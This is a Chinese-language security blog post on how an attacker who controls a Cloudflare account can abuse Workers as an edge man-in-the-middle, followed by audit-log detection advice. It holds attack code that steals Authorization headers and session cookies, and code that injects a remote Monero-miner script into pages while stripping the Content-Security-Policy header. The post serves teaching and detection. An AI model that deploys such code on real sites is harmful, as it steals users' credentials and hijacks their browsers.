边缘中间人攻击:滥用Cloudflare Workers进行数据窃取与恶意注入

本文详细探讨了攻击者如何通过入侵Cloudflare账户滥用Workers功能,实现持久化攻击、窃取授权令牌/会话Cookie以及注入恶意JavaScript代码的技术原理,并提供了对应的检测方法。

边缘中间人攻击:滥用Cloudflare Workers

Cloudflare Workers提供强大的无服务器解决方案,能在每个HTTP请求和响应之间运行代码。本文将展示攻击者在入侵Cloudflare账户后,如何滥用Workers实现持久化攻击并窃取敏感数据。

技术背景

Cloudflare Workers允许在边缘服务器上透明部署代码,支持JavaScript/TypeScript和Python等语言。其核心功能包括:

  • 动态重写请求和响应
  • 添加安全头部
  • 实施边缘重定向策略

典型合法用例代码示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, originalRequest) {
  const requestUrl = new URL(originalRequest.url);
  if (requestUrl.pathname.startsWith("/docs/latest/")) {
    newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
    return Response.redirect(newUrl, 301);
  }
  return fetch(originalRequest);
}

攻击技术实现

1. 创建恶意Worker

通过Cloudflare wrangler CLI部署基础中间人Worker:

1
2
3
# wrangler.toml配置
name = "my-malicious-worker"
compatibility_date = "2022-06-24"

2. 凭证窃取技术

窃取Authorization头:

1
2
3
4
5
6
async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization");
  if (authz) {
    await exfiltrate(`authorization header: ${authz}`);
  }
}

窃取会话Cookie:

1
2
3
4
5
6
async function stealCookies(request, response) {
  const serverCookies = response.headers.get("Set-Cookie");
  const clientCookies = request.headers.get("Cookie");
  if (serverCookies) await exfiltrate(serverCookies);
  if (clientCookies) await exfiltrate(clientCookies);
}

3. 恶意脚本注入

注入加密货币挖矿脚本并绕过CSP防护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
async function injectMaliciousScript(originalResponse) {
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }
  
  const script = `<script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>...`;
  const modifiedHtml = (await originalResponse.text()).replace("</body>", script + "</body>");
  const modifiedResponse = new Response(modifiedHtml, originalResponse);
  modifiedResponse.headers.delete("Content-Security-Policy"); // 移除CSP防护
  return modifiedResponse;
}

攻击场景扩展

  • 选择性攻击:基于客户端IP/User-Agent差异化行为
  • 支付劫持:动态替换响应中的支付信息
  • SEO作弊:针对搜索引擎注入恶意链接

防御检测方案

Cloudflare审计日志关键事件:

事件类型 描述
script_create Worker创建事件
route_create Worker路由绑定事件
rec_add 指向Worker的DNS记录创建

企业版用户可通过SIEM集成进行监控,基础版需通过Dashboard/API查看日志。

真实案例

  • 2021年Badger事件:攻击者通过Cloudflare API注入恶意脚本劫持Web3交易
  • 2020年SEO垃圾邮件攻击:动态修改返回给搜索引擎的内容
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计